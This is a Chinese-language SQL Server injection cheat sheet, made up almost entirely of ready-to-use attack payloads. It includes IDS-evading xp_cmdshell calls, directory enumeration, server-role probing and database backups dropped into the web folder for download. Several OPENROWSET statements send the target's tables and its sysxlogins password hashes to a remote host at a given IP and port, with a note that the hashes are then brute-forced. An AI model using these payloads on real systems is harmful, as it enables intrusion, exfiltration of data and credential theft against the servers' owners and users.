通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [
where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
1、 开启远程数据库
基本语法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123',
'select * from table1' )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET('SQLOLEDB',
'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;', 'select *
from table'
3.复制目标主机的整个数据库insert所有远程表到本地表。
基本语法:
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123',
'select * from table1') select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from table1') select * from table2
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from _sysdatabases')
select * from master.dbo.sysdatabases
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from _sysobjects')
select * from user_database.dbo.sysobjects
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from _syscolumns')
select * from user_database.dbo.syscolumns
复制数据库:
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from table1') select * from database..table1
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from table2') select * from database..table2
复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:
insert into OPENROWSET('SQLOLEDB',
'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from
_sysxlogins') select * from database.dbo.sysxlogins
得到hash之后,就可以进行暴力破解。
遍历目录的方法: 先创建一个临时表:temp
';create table temp(id nvarchar(255),num1 nvarchar(255),num2
nvarchar(255),num3 nvarchar(255));--
';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
获得所有子目录的目录树结构,并寸入temp表中
';insert into temp(id) exec master.dbo.xp_cmdshell 'type
c:\web\index.asp';-- 查看某个文件的内容
';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--
';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'
';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
(xp_dirtree适用权限PUBLIC)
写入表:
语句1:and 1=(Select IS_SRVROLEMEMBER('sysadmin'));--
语句2:and 1=(Select IS_SRVROLEMEMBER('serveradmin'));--
语句3:and 1=(Select IS_SRVROLEMEMBER('setupadmin'));--
语句4:and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--
语句5:and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--
语句6:and 1=(Select IS_SRVROLEMEMBER('diskadmin'));--
语句7:and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--
语句8:and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--
语句9:and 1=(Select IS_MEMBER('db_owner'));--
把路径写到表中去:
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree 'c:\'--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree 'e:\web'--
and 0<>(select top 1 paths from dirs1)--
把数据库备份到网页目录:下载
;declare @a sysname; set @a=db_name();backup database @a to
disk='e:\web\down.bak';--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where
xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id('USER_LOGIN'),1) from sysobjects)
参看相关表。
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)

xp_dirtree适用权限PUBLIC
exec master.dbo.xp_dirtree 'c:\'
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_dirtree 'c:\'
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息! |
